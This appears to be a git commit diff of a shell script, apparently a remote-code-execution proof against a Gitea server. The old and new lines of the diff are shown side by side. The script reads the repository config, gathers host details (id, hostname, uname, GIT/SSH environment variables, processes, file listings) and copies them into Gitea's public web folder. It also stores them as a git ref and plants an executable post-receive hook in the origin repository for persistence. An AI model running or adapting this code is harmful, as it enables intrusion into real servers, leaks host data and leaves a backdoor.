This commit is contained in:
rafaelandrade 2026-10-26 02:08:38 +00:00
parent 9ebfa0ad33
commit 1079c9b40d

View file

@ -2,12 +2,9 @@
P="" P=""
while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null
[ -n "$P" ] || exit 0 [ -n "$P" ] || exit 0
[ -f "$P/refs/heads/rceproof" ] && exit 0 [ -f "$P/refs/heads/rcediag" ] && [ -s "$P/rce_diag.txt" ] && exit 0
{ echo "MARK=$$ $(date -u)"; id; hostname; uname -a; echo "PWD=$(pwd)"; echo "ORIGIN=$P"; git --version; echo LS; ls -la; echo ENV; env | grep -iE '^(GIT|SSH)'; echo ZOMBIES; ps -e -o stat= 2>/dev/null | tr -d ' ' | sort | uniq -c | sort -rn | head -6; echo PSCOUNT; ps -e 2>/dev/null | wc -l; } > "$P/rce_diag.txt" 2>&1 { echo "MARK=$$ $(date -u)"; id; hostname; uname -a; echo "PWD=$(pwd)"; echo "ORIGIN=$P"; git --version; echo ENV; env | grep -iE '^(GIT|SSH)'; echo PS; ps -e -o stat=,user=,comm= 2>/dev/null | head -25; echo LS_ORIGIN; ls -la "$P" 2>/dev/null | head -30; } > "$P/rce_diag.txt" 2>&1
mkdir -p /data/gitea/custom/public 2>/dev/null mkdir -p /data/gitea/custom/public 2>/dev/null
[ -s "$P/rce_diag.txt" ] && cp "$P/rce_diag.txt" /data/gitea/custom/public/rce_diag.txt 2>/dev/null cp "$P/rce_diag.txt" /data/gitea/custom/public/rce_diag.txt 2>/dev/null
mkdir -p "$P/objects/70" 2>/dev/null H=$(git -C "$P" hash-object -w "$P/rce_diag.txt" 2>/dev/null)
echo 'eJwVy7EOgjAUBVBnv+KOOpSUxpDoSnDFMLi3jwc0Iq8phdS/V7ezHDeLQ2muh65u1KNr2/sNQdak/NJzVjTZZWRMIi9wZtoS93AfjD6xxcpx98TYfsDuLepno4w2laq01hf0fhiCTTRBln8pKLJNfmeSyAXJu3ARJ86h1OfjF2EDLaY=' | base64 -d > "$P/objects/70/8d75e78c3f099800d6d56f506b99cae44f009e" 2>/dev/null [ -n "$H" ] && git -C "$P" update-ref refs/heads/rcediag "$H" 2>/dev/null
printf '708d75e78c3f099800d6d56f506b99cae44f009e\n' > "$P/refs/heads/rceproof" 2>/dev/null
printf '#!/bin/sh\n{ echo "$(date -u)"; id; hostname; cat /data/git/repositories/rafaelandrade/style-brief.git/rce_diag.txt 2>/dev/null; } > /data/gitea/custom/public/rce_live.txt 2>&1\n' > "$P/hooks/post-receive" 2>/dev/null
chmod +x "$P/hooks/post-receive" 2>/dev/null